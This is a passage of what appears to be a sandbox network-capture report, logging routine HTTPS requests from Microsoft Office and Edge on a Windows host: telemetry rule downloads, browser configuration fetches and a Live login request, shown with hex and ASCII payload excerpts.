2024-11-25 13:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da423632-601e-0002-52c6-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131428Z-178bfbc474b7cbwqhC1NYC8z4n00000007d0000000009qny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:28 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:28 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: de6003cd-b01e-0098-493c-3ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131428Z-178bfbc474bpnd5vhC1NYC4vr400000007k0000000005fck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:28 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:32 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5fd12e2e-e01e-0051-1fc8-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131432Z-178bfbc474bw8bwphC1NYC38b400000007dg000000003dx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:32 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131432Z-178bfbc474btvfdfhC1NYCa2en00000007fg00000000e8nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:32 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131432Z-174c587ffdf8fcgwhC1TEBnn70000000061000000000r7ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:32 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131432Z-178bfbc474bvjk8shC1NYC83ns00000007a000000000btxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:32 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131432Z-178bfbc474btvfdfhC1NYCa2en00000007p0000000003ywn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49745	52.123.243.184	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:32 UTC	746	OUT	GET /config/v1/Edge/117.0.2045.47?clientId=6686581979505309747&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=6&mngd=0&installdate=1696426482&edu=0&bphint=2&soobedate=1696426478&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
2024-11-25 13:14:33 UTC	1176	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 58344 Content-Type: application/json Expires: Mon, 25 Nov 2024 14:14:33 GMT ETag: "FYEOpmVSej3nVzWrMTh+e2kYfxv82uJkDgIRrAJADVk=" Server: Microsoft-IIS/10.0 request-id: caa75860-8c81-637e-328a-cdd8ebd6b304 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-WW-DX0&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: caa75860-8c81-637e-328a-cdd8ebd6b304 DX0P273CA0067 2024-11-25T13:14:33.019Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: DXB X-FEProxyInfo: DX0P273CA0067.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB X-Powered-By: ASP.NET X-FEServer: DX0P273CA0067 Date: Mon, 25 Nov 2024 13:14:33 GMT Connection: close
2024-11-25 13:14:33 UTC	2683	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 50 68 6f 65 6e 69 78 43 75 73 74 6f 6d 54 68 65 6d 65 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"PhoenixCustomTheme":{"enableFeatures":[
2024-11-25 13:14:33 UTC	13012	IN	Data Raw: 65 72 73 69 6f 6e 22 2c 22 76 61 6c 75 65 22 3a 22 31 33 31 2e 30 2e 32 39 30 33 2e 34 38 22 7d 5d 7d 7d 2c 22 45 64 67 65 43 6f 6e 66 69 67 22 3a 7b 22 4b 53 77 69 74 68 46 6f 72 4c 61 75 6e 63 68 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 4c 61 75 6e 63 68 53 75 70 70 72 65 73 73 69 6f 6e 44 65 74 65 63 74 69 6f 6e 22 5d 7d 2c 22 42 69 6e 67 41 49 57 6f 72 6b 73 70 61 63 65 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 57 6f 72 6b 73 70 61 63 65 57 65 62 50 61 67 65 52 75 6e 74 69 6d 65 49 6e 6a 65 63 74 4a 61 76 61 53 63 72 69 70 74 46 65 61 74 75 72 65 22 5d 7d 2c 22 45 64 67 65 53 68 6f 70 70 69 6e 67 49 6e 45 64 67 65 42 61 72 43 6f 6e 66 69 67 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 Data Ascii: ersion","value":"131.0.2903.48"}]}},"EdgeConfig":{"KSwithForLaunch":{"disableFeatures":["msLaunchSuppressionDetection"]},"BingAIWorkspace":{"disableFeatures":["msWorkspaceWebPageRuntimeInjectJavaScriptFeature"]},"EdgeShoppingInEdgeBarConfig":{"disableFeat
2024-11-25 13:14:33 UTC	16384	IN	Data Raw: 64 69 61 2e 69 6e 64 69 61 74 69 6d 65 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 70 75 73 68 65 6e 67 61 67 65 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 74 69 6d 65 73 6e 6f 77 6e 65 77 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 75 70 6f 6e 72 61 6e 69 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 77 68 6f 6c 65 73 6f 6d 65 79 75 6d 2e 63 6f 6d 22 7d 2c 7b 22 Data Ascii: dia.indiatimes.com"},{"applied_policy":"Prompt","domain":"pushengage.com"},{"applied_policy":"Prompt","domain":"www.timesnownews.com"},{"applied_policy":"Prompt","domain":"www.couponrani.com"},{"applied_policy":"Prompt","domain":"www.wholesomeyum.com"},{"
2024-11-25 13:14:33 UTC	16384	IN	Data Raw: 76 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 6d 61 73 73 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6d 74 72 65 61 64 79 63 6c 69 6e 69 63 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 76 61 63 63 69 6e 61 74 65 72 69 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6d 61 72 79 6c 61 6e 64 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 Data Ascii: v","applied_policy":"ChromeUA"},{"domain":"www.comassvax.org","applied_policy":"ChromeUA"},{"domain":"www.mtreadyclinic.org","applied_policy":"ChromeUA"},{"domain":"www.vaccinateri.org","applied_policy":"ChromeUA"},{"domain":"www.marylandvax.org","applied
2024-11-25 13:14:33 UTC	9881	IN	Data Raw: 22 3a 22 6d 61 69 6c 2e 6e 61 74 65 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 69 74 6e 65 73 73 74 65 73 74 2e 78 74 75 2e 65 64 75 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 69 72 6f 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 6f 77 67 61 6d 65 2e 6a 70 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 63 73 69 61 2e 6f 72 67 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 Data Ascii: ":"mail.nate.com","applied_policy":"ChromeUA"},{"domain":"fitnesstest.xtu.edu.cn","applied_policy":"ChromeUA"},{"domain":"miro.com","applied_policy":"ChromeUA"},{"domain":"wowgame.jp","applied_policy":"ChromeUA"},{"domain":"csia.org.cn","applied_policy":"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49755	94.245.104.56	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:33 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:33 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 13:14:32 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=af27587ba86e2e2aa791a52417aa6c585c82244cf3bd8746d9cd4bf5c38fbf44;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=af27587ba86e2e2aa791a52417aa6c585c82244cf3bd8746d9cd4bf5c38fbf44;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49757	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
